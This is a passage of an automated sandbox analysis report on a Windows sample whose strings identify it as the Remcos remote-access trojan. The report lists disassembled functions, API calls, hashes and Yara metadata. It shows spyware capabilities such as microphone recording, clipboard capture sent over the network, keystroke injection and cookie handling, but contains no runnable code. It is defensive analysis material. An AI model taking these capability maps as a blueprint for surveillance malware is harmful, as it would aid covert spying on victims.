                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseEnumInfoOpenQuerysend
                                                                                            • String ID: TeF$TeFTeF$NG$TG$TG
                                                                                            • API String ID: 3114080316-3278504382
                                                                                            • Opcode ID: b119c606298c925dbe5f4fe233ca7e6c003a4e88584039816af8ab184caeb786
                                                                                            • Instruction ID: 217e792c851e8857c64f97df11b7492b8bc11e7bd79a931969a0b124146415da
                                                                                            • Opcode Fuzzy Hash: b119c606298c925dbe5f4fe233ca7e6c003a4e88584039816af8ab184caeb786
                                                                                            • Instruction Fuzzy Hash: ED41A1316042005BD224F725D8A2AEF7395AFD0308F50843FF94A671E2EF7C5D4986AE
                                                                                            Function 00406BE9 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000,00466454,?,?,00000000,00407273,00000000,?,0000000A,00000000), ref: 00406C38
                                                                                            • WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,000186A0,?,?,?,00000000,00407273,00000000,?,0000000A,00000000), ref: 00406C80
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            • CloseHandle.KERNEL32(00000000,?,?,00000000,00407273,00000000,?,0000000A,00000000,00000000), ref: 00406CC0
                                                                                            • MoveFileW.KERNEL32(00000000,00000000), ref: 00406CDD
                                                                                            • CloseHandle.KERNEL32(00000000,00000057,?,00000008,?,?,?,?,?,?,0000000A,00000000,00000000), ref: 00406D08
                                                                                            • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,0000000A,00000000,00000000), ref: 00406D18
                                                                                              • Part of subcall function 0040455B: WaitForSingleObject.KERNEL32(?,000000FF,?,?,0040460E,00000000,?,?), ref: 0040456A
                                                                                              • Part of subcall function 0040455B: SetEvent.KERNEL32(?,?,?,0040460E,00000000,?,?), ref: 00404588
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                                                                                            • String ID: .part
                                                                                            • API String ID: 1303771098-3499674018
                                                                                            • Opcode ID: d40b61bfdb32150f6a0b198ba0cc0196a0d9bab478d1ae1ad71c0a80aef4f2ee
                                                                                            • Instruction ID: 7eae26b3d9efd85ab9a821acf87acbbc445967fcd6ce231ca79d13f55b5b668b
                                                                                            • Opcode Fuzzy Hash: d40b61bfdb32150f6a0b198ba0cc0196a0d9bab478d1ae1ad71c0a80aef4f2ee
                                                                                            • Instruction Fuzzy Hash: C631A4715083019FD210EF21DD459AFB7A8FB84755F40093EF9C6B21A1DF38AA48CB9A
                                                                                            Function 0040B6EA Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 85COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004125EB: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 0041260F
                                                                                              • Part of subcall function 004125EB: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 0041262C
                                                                                              • Part of subcall function 004125EB: RegCloseKey.KERNEL32(?), ref: 00412637
                                                                                            • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040B76C
                                                                                            • PathFileExistsA.SHLWAPI(?), ref: 0040B779
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                                                                                            • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders$TeF
                                                                                            • API String ID: 1133728706-3101562037
                                                                                            • Opcode ID: 6ca564f20922799fdfe68407dcad6210cb0438092b0b73692f7efeee7f3cb5f8
                                                                                            • Instruction ID: 7ed93d3ebd4d115a7197ccd8f2df160251767479400bef64a6787df62d4369c8
                                                                                            • Opcode Fuzzy Hash: 6ca564f20922799fdfe68407dcad6210cb0438092b0b73692f7efeee7f3cb5f8
                                                                                            • Instruction Fuzzy Hash: 29215C31A1410966CB04F7B2CCA69EE7764AE94318F40013FA902771D2EF789A4986DE
                                                                                            Function 0040196B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 72COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040197B
                                                                                            • waveInOpen.WINMM(00472AF8,000000FF,00472B00,Function_00001A8E,00000000,00000000,00000024), ref: 00401A11
                                                                                            • waveInPrepareHeader.WINMM(00472AC0,00000020,00000000), ref: 00401A66
                                                                                            • waveInAddBuffer.WINMM(00472AC0,00000020), ref: 00401A75
                                                                                            • waveInStart.WINMM ref: 00401A81
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                                                                                            • String ID: dMG$|MG
                                                                                            • API String ID: 1356121797-1683252805
                                                                                            • Opcode ID: 77e1d5555118943626de1adf0eca28b59d42989bc3a47fc9702db746b9fc2c03
                                                                                            • Instruction ID: 140f40b68b7a2e7574469051551963e155d477b90c1392cdc23a62cf20397fe9
                                                                                            • Opcode Fuzzy Hash: 77e1d5555118943626de1adf0eca28b59d42989bc3a47fc9702db746b9fc2c03
                                                                                            • Instruction Fuzzy Hash: 52215C316002019BC725DF66EE1996A7BA6FB84710B00883EF50DE76B0DBF898C0CB5C
                                                                                            Function 0041C0BB Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47memoryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • AllocConsole.KERNEL32(004750FC), ref: 0041C0C4
                                                                                            • GetConsoleWindow.KERNEL32 ref: 0041C0CA
                                                                                            • ShowWindow.USER32(00000000,00000000), ref: 0041C0DD
                                                                                            • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041C102
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Console$Window$AllocOutputShow
                                                                                            • String ID: Remcos v$6.0.0 Pro$CONOUT$
                                                                                            • API String ID: 4067487056-3561919337
                                                                                            • Opcode ID: 51f71f4df576cdb042b408fdcee2c306aad9b55f4cf694b49fe88f2f6d88a06c
                                                                                            • Instruction ID: 9cd6404a4583bb7861016a5e8077681a34a6ce6b29b6da971a73374578d830bb
                                                                                            • Opcode Fuzzy Hash: 51f71f4df576cdb042b408fdcee2c306aad9b55f4cf694b49fe88f2f6d88a06c
                                                                                            • Instruction Fuzzy Hash: 750121B1A80304BADA10F7F19D4BF9976AC6B14B09F500426BA05A70C2EEB8A554462D
                                                                                            Function 00449B60 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0043D774,0043D774,?,?,?,00449DB1,00000001,00000001,1AE85006), ref: 00449BBA
                                                                                            • __alloca_probe_16.LIBCMT ref: 00449BF2
                                                                                            • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00449DB1,00000001,00000001,1AE85006,?,?,?), ref: 00449C40
                                                                                            • __alloca_probe_16.LIBCMT ref: 00449CD7
                                                                                            • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,1AE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00449D3A
                                                                                            • __freea.LIBCMT ref: 00449D47
                                                                                              • Part of subcall function 00446D0F: RtlAllocateHeap.NTDLL(00000000,00434613,?,?,00437437,?,?,?,?,?,0040CD5A,00434613,?,?,?,?), ref: 00446D41
                                                                                            • __freea.LIBCMT ref: 00449D50
                                                                                            • __freea.LIBCMT ref: 00449D75
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                                                                                            • String ID:
                                                                                            • API String ID: 3864826663-0
                                                                                            • Opcode ID: 45550f184a61a9f8ddf17f24dc0c1f131df532b020593bc4805c091103afbf88
                                                                                            • Instruction ID: b9264d00d576e3e69c3e593975f72d59ef517f4fd458bc34bb1ef2c80a576446
                                                                                            • Opcode Fuzzy Hash: 45550f184a61a9f8ddf17f24dc0c1f131df532b020593bc4805c091103afbf88
                                                                                            • Instruction Fuzzy Hash: 3651F8B2A10206AFFB258F65DC82EBF77A9EB44754F15462EFC05DB240EB38DC409658
                                                                                            Function 00418CB4 Relevance: 12.1, APIs: 8, Instructions: 117keyboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendInput.USER32 ref: 00418CFE
                                                                                            • SendInput.USER32(00000001,?,0000001C), ref: 00418D26
                                                                                            • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418D4D
                                                                                            • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418D6B
                                                                                            • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418D8B
                                                                                            • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418DB0
                                                                                            • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418DD2
                                                                                            • SendInput.USER32(00000001,?,0000001C), ref: 00418DF5
                                                                                              • Part of subcall function 00418CA7: MapVirtualKeyA.USER32(00000000,00000000), ref: 00418CAD
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: InputSend$Virtual
                                                                                            • String ID:
                                                                                            • API String ID: 1167301434-0
                                                                                            • Opcode ID: 03d106074c487e793b96b2f05eb270ad55284c326fdeb905245ef2a17d2a5417
                                                                                            • Instruction ID: 141eef32e971302722b3407f09031bac5ba220a7556c2b6a6b809b2d6bbc12e7
                                                                                            • Opcode Fuzzy Hash: 03d106074c487e793b96b2f05eb270ad55284c326fdeb905245ef2a17d2a5417
                                                                                            • Instruction Fuzzy Hash: 2D318031258349A9E210DF65DC41FDFBBECAFC9B08F04080FB58457191EAA4858C87AB
                                                                                            Function 00415BDD Relevance: 12.0, APIs: 8, Instructions: 46clipboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenClipboard.USER32 ref: 00415BDE
                                                                                            • EmptyClipboard.USER32 ref: 00415BEC
                                                                                            • CloseClipboard.USER32 ref: 00415BF2
                                                                                            • OpenClipboard.USER32 ref: 00415BF9
                                                                                            • GetClipboardData.USER32(0000000D), ref: 00415C09
                                                                                            • GlobalLock.KERNEL32(00000000), ref: 00415C12
                                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 00415C1B
                                                                                            • CloseClipboard.USER32 ref: 00415C21
                                                                                              • Part of subcall function 00404468: send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                                                                                            • String ID:
                                                                                            • API String ID: 2172192267-0
                                                                                            • Opcode ID: 204b3bc20e73108d37258c192c5078d9a198e9f8c61dce7f845e5a5101fa3b17
                                                                                            • Instruction ID: 369576e1793333014f6cd695595c81a654a0099a6e7e621b1e9fba3c04e1709a
                                                                                            • Opcode Fuzzy Hash: 204b3bc20e73108d37258c192c5078d9a198e9f8c61dce7f845e5a5101fa3b17
                                                                                            • Instruction Fuzzy Hash: EE0152322003009FC350BF71DC59AAE77A5AF80B42F00443FFD06A61A2EF35C949C659
                                                                                            Function 00446369 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: __freea$__alloca_probe_16
                                                                                            • String ID: a/p$am/pm$hD
                                                                                            • API String ID: 3509577899-3668228793
                                                                                            • Opcode ID: 44ea5ac924aea223c25ec6af7a156dea15db996b08b3c9c3fe5b3e61d2d79652
                                                                                            • Instruction ID: deb853d5fd6adf3918d69246e21912660bd894b39407ab32d9d7da7685977c7a
                                                                                            • Opcode Fuzzy Hash: 44ea5ac924aea223c25ec6af7a156dea15db996b08b3c9c3fe5b3e61d2d79652
                                                                                            • Instruction Fuzzy Hash: 1CD111719002069AFB289F68C9857BBB7B0FF06708F26415BE9019B355D33D9D81CB6B
                                                                                            Function 0044FA16 Relevance: 10.7, APIs: 7, Instructions: 204COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free
                                                                                            • String ID:
                                                                                            • API String ID: 269201875-0
                                                                                            • Opcode ID: 1d80ecd898b2873860388bfd90a69a91c38572b88f559cfcb1da031a1a01905e
                                                                                            • Instruction ID: 0b2e84c71dbf843dbcc2e99f9f8dbab27ea7d8a4e4ef3fbdb467abc62f582456
                                                                                            • Opcode Fuzzy Hash: 1d80ecd898b2873860388bfd90a69a91c38572b88f559cfcb1da031a1a01905e
                                                                                            • Instruction Fuzzy Hash: E061E271D00244AFEB20DF69C842BAABBF4EB4A320F24407BED45EB251D734AD45DB58
                                                                                            Function 0044418B Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00446D0F: RtlAllocateHeap.NTDLL(00000000,00434613,?,?,00437437,?,?,?,?,?,0040CD5A,00434613,?,?,?,?), ref: 00446D41
                                                                                            • _free.LIBCMT ref: 00444296
                                                                                            • _free.LIBCMT ref: 004442AD
                                                                                            • _free.LIBCMT ref: 004442CC
                                                                                            • _free.LIBCMT ref: 004442E7
                                                                                            • _free.LIBCMT ref: 004442FE
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$AllocateHeap
                                                                                            • String ID: Z9D
                                                                                            • API String ID: 3033488037-3781130823
                                                                                            • Opcode ID: 1e396c4f324de9ddb7b01a7129941a49517c4d4e7f7401902ff7e7d19c1db4b4
                                                                                            • Instruction ID: 86c8eacfe83d9672290f1135950403671a27bde0e5aa55c461cabd1b4ee88ac5
                                                                                            • Opcode Fuzzy Hash: 1e396c4f324de9ddb7b01a7129941a49517c4d4e7f7401902ff7e7d19c1db4b4
                                                                                            • Instruction Fuzzy Hash: D551B171A00304AFEB20DF6AC881B6A77F4FF95724B1446AEF809D7650E779DA01CB48
                                                                                            Function 0044A2D3 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,0044AA48,?,00000000,00000000,00000000,00000000,0000000C), ref: 0044A315
                                                                                            • __fassign.LIBCMT ref: 0044A390
                                                                                            • __fassign.LIBCMT ref: 0044A3AB
                                                                                            • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0044A3D1
                                                                                            • WriteFile.KERNEL32(?,00000000,00000000,0044AA48,00000000,?,?,?,?,?,?,?,?,?,0044AA48,?), ref: 0044A3F0
                                                                                            • WriteFile.KERNEL32(?,?,00000001,0044AA48,00000000,?,?,?,?,?,?,?,?,?,0044AA48,?), ref: 0044A429
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                            • String ID:
                                                                                            • API String ID: 1324828854-0
                                                                                            • Opcode ID: 19793b4b6baa09b5fac30a83039e1f9c1b1fc09f5707b87a30c95e6118fc2717
                                                                                            • Instruction ID: 781c03a50f1c813746d4e14bf3c61566c92396d5579059589c4d950ed669b936
                                                                                            • Opcode Fuzzy Hash: 19793b4b6baa09b5fac30a83039e1f9c1b1fc09f5707b87a30c95e6118fc2717
                                                                                            • Instruction Fuzzy Hash: 6551C474E002499FDB10CFA8D845AEEBBF4EF09300F14412BE955E7291E774A951CB6A
                                                                                            Function 10009492 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,10009C07,?,00000000,?,00000000,00000000), ref: 100094D4
                                                                                            • __fassign.LIBCMT ref: 1000954F
                                                                                            • __fassign.LIBCMT ref: 1000956A
                                                                                            • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 10009590
                                                                                            • WriteFile.KERNEL32(?,?,00000000,10009C07,00000000,?,?,?,?,?,?,?,?,?,10009C07,?), ref: 100095AF
                                                                                            • WriteFile.KERNEL32(?,?,00000001,10009C07,00000000,?,?,?,?,?,?,?,?,?,10009C07,?), ref: 100095E8
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                            • String ID:
                                                                                            • API String ID: 1324828854-0
                                                                                            • Opcode ID: c8cde1f94c5a3c187481f919a86e285046f284bf183baf255f965bcae4dd5098
                                                                                            • Instruction ID: 7b1e32e7ca62d622bc6abd4954a79b3a1191cf35157f5551c2bc05612337e78d
                                                                                            • Opcode Fuzzy Hash: c8cde1f94c5a3c187481f919a86e285046f284bf183baf255f965bcae4dd5098
                                                                                            • Instruction Fuzzy Hash: D7519271D00249AFEB10CFA4CC95BDEBBF8EF09350F15811AE955E7295D731AA41CB60
                                                                                            Function 00401768 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 142threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ExitThread.KERNEL32 ref: 004017F4
                                                                                              • Part of subcall function 00433724: EnterCriticalSection.KERNEL32(00471D18,?,00476D54,?,0040AE8B,00476D54,?,00000000,00000000), ref: 0043372F
                                                                                              • Part of subcall function 00433724: LeaveCriticalSection.KERNEL32(00471D18,?,0040AE8B,00476D54,?,00000000,00000000), ref: 0043376C
                                                                                            • waveInUnprepareHeader.WINMM(?,00000020,00000000,?,00000020,00474EE0,00000000), ref: 00401902
                                                                                              • Part of subcall function 00433AB0: __onexit.LIBCMT ref: 00433AB6
                                                                                            • __Init_thread_footer.LIBCMT ref: 004017BC
                                                                                              • Part of subcall function 004336DA: EnterCriticalSection.KERNEL32(00471D18,00476D54,?,0040AEAC,00476D54,00456FA7,?,00000000,00000000), ref: 004336E4
                                                                                              • Part of subcall function 004336DA: LeaveCriticalSection.KERNEL32(00471D18,?,0040AEAC,00476D54,00456FA7,?,00000000,00000000), ref: 00433717
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
